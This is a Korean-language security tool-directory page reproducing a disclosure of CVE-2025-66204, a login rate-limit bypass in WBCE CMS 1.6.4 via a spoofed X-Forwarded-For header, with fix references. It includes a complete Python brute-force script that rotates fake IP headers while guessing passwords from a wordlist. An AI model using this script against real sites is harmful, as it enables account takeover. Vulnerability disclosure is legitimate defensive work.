Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-66204 — CVE-2025-66204 - WBCE CMS는 X-Forwarded-For 헤더를 사용한 무차별 대입 공격 보호 우회를 허용합니다. | Kitploit
도구/GitHubGitHub/lukasz-rybak/cve-2025-66204
Vulnerability AnalysisWeb Application ExploitationPenetration TestingAuthenticationPapers & ResearchLearning & Education
GitHublukasz-rybak/cve-2025-66204

CVE-2025-66204

CVE-2025-66204 - WBCE CMS는 X-Forwarded-For 헤더를 사용한 무차별 대입 공격 보호 우회를 허용합니다.

저장소 보기
4개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2025-66204: WBCE CMS에서 X-Forwarded-For 헤더를 사용한 무차별 대입 공격 보호 우회 허용

개요

항목세부 내용
CVE IDCVE-2025-66204
심각도MEDIUM
권고권고 보기
발견자Lukasz Rybak

영향을 받는 제품

  • WBCE/WBCE_CMS

세부 정보

요약

WBCE CMS 1.6.4에 무차별 대입 공격 보호 우회 취약점이 존재합니다. 로그인 속도 제한 메커니즘은 5회의 잘못된 로그인 시도 후 IP 주소를 차단합니다. 그러나 애플리케이션은 X-Forwarded-For 헤더를 검증하거나 사용을 제한하지 않고 완전히 신뢰합니다.

공격자는 각 요청마다 X-Forwarded-For를 변경하여 카운터를 무기한 리셋하고 무제한으로 비밀번호 추측 시도를 할 수 있으며, 사실상 모든 무차별 대입 공격 보호를 우회할 수 있습니다.

세부 정보

WBCE CMS는 다음 로직을 사용하여 클라이언트 IP를 결정합니다:

  1. 요청에 X-Forwarded-For 헤더가 포함되어 있으면 애플리케이션은 해당 값을 맹목적으로 신뢰합니다.
  2. 그렇지 않으면 REMOTE_ADDR로 대체합니다.

WBCE는 기본적으로 리버스 프록시 뒤에서 실행되지 않지만, 로그인 엔드포인트는 클라이언트가 수동으로 추가한 경우에도 X-Forwarded-For가 존재할 때마다 이를 파싱합니다.

애플리케이션은 요청이 신뢰할 수 있는 프록시에서 시작되었는지 확인하지 않으므로, 공격자는 임의의 IP 주소를 사용하여 자신만의 X-Forwarded-For 헤더를 주입할 수 있습니다.

이로 인해 다음과 같은 상황이 발생합니다:

  • 공격자가 X-Forwarded-For: 10.0.0.1을 사용하여 잘못된 비밀번호 5개를 전송 → 해당 IP가 차단됨
  • 공격자가 X-Forwarded-For: 10.0.0.2로 다음 요청을 전송 → 완전히 새로운 IP로 처리됨
  • 무차별 대입 공격 보호를 무기한 우회할 수 있음

이 동작은 WBCE CMS 앞에 리버스 프록시가 없는 깨끗한 기본 설치 환경에서도 재현할 수 있습니다.

PoC

단계

잘못된 비밀번호로 로그인을 시도하고 다음 헤더를 전송합니다:

X-Forwarded-For: 10.0.0.10

잠금이 발생할 때까지(5회 시도 후) 반복합니다. 이미지

헤더를 다음과 같이 변경합니다:

X-Forwarded-For: 10.0.0.11

로그인 시도 횟수가 초기화되어 다시 허용됩니다. 이미지

10.0.0.x 범위를 순환하며 제한 없이 무차별 대입 공격을 수행합니다.

자동화된 PoC 스크립트

공격을 자동으로 수행하는 Python 스크립트를 제작했습니다. 이 스크립트는 4회 시도마다 위조된 IP를 순환하고 성공적인 로그인을 감지합니다.

이미지 ... 이미지 이미지

이를 통해 보호 기능의 완전한 우회가 입증됩니다.

root@kitploit:~
import requests

# ==========================
#  CONFIGURATION
# ==========================

TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"

# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"

WORDLIST = "wordlist.txt"

ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"

MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."

# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
    "http": "http://127.0.0.1:8080",
    "https": "http://127.0.0.1:8080",
}

session = requests.Session()
if USE_BURP:
    session.proxies.update(PROXIES)
    session.verify = False


# ==========================
#  LOGIN REQUEST
# ==========================

def try_login(ip, password):
    """Send one login attempt with spoofed X-Forwarded-For."""
    headers = {
        "X-Forwarded-For": ip,
        "User-Agent": "WBCE-Bruteforce-POC",
    }

    data = {
        USERNAME_META_FIELD: USERNAME_FIELDNAME,
        PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
        USERNAME_FIELDNAME: USERNAME,
        PASSWORD_FIELDNAME: password,
        "url": "",
        "submit": "Login",
    }

    resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
    text = resp.text

    failed = ERROR_STRING in text
    blocked = BLOCK_STRING in text
    success = not failed and not blocked

    return success, failed, blocked, resp


# ==========================
#  MAIN ROUTINE
# ==========================

def main():
    print("[*] Loading wordlist...")

    with open(WORDLIST, "r", encoding="utf-8") as f:
        passwords = [p.strip() for p in f if p.strip()]

    print(f"[*] Loaded {len(passwords)} passwords.\n")

    current_ip_counter = 1
    attempts_with_ip = 0

    for attempt_no, password in enumerate(passwords, start=1):
        ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
        success, failed, blocked, resp = try_login(ip, password)

        print(
            f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
            f"| failed={failed} blocked={blocked}"
        )

        if success:
            print("\n[+] SUCCESSFUL LOGIN!")
            print(f"    Username: {USERNAME}")
            print(f"    Password: {password}")
            print(f"    IP used : {ip}")
            return

        attempts_with_ip += 1

        # Switch spoofed IP after lockout threshold
        if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
            print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
            current_ip_counter += 1
            attempts_with_ip = 0

    print("\n[-] Password not found in wordlist.")


if __name__ == "__main__":
    main()

영향

  1. 모든 계정에 대한 무제한 무차별 대입 공격 가능;
  2. 관리자 계정 탈취 가능성;
  3. 속도 제한(rate-limiting) 미적용;

참고 자료

  • https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
  • https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
  • https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5

면책 조항

이 CVE는 조정된 취약점 공개(coordinated vulnerability disclosure) 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.

도구 다운로드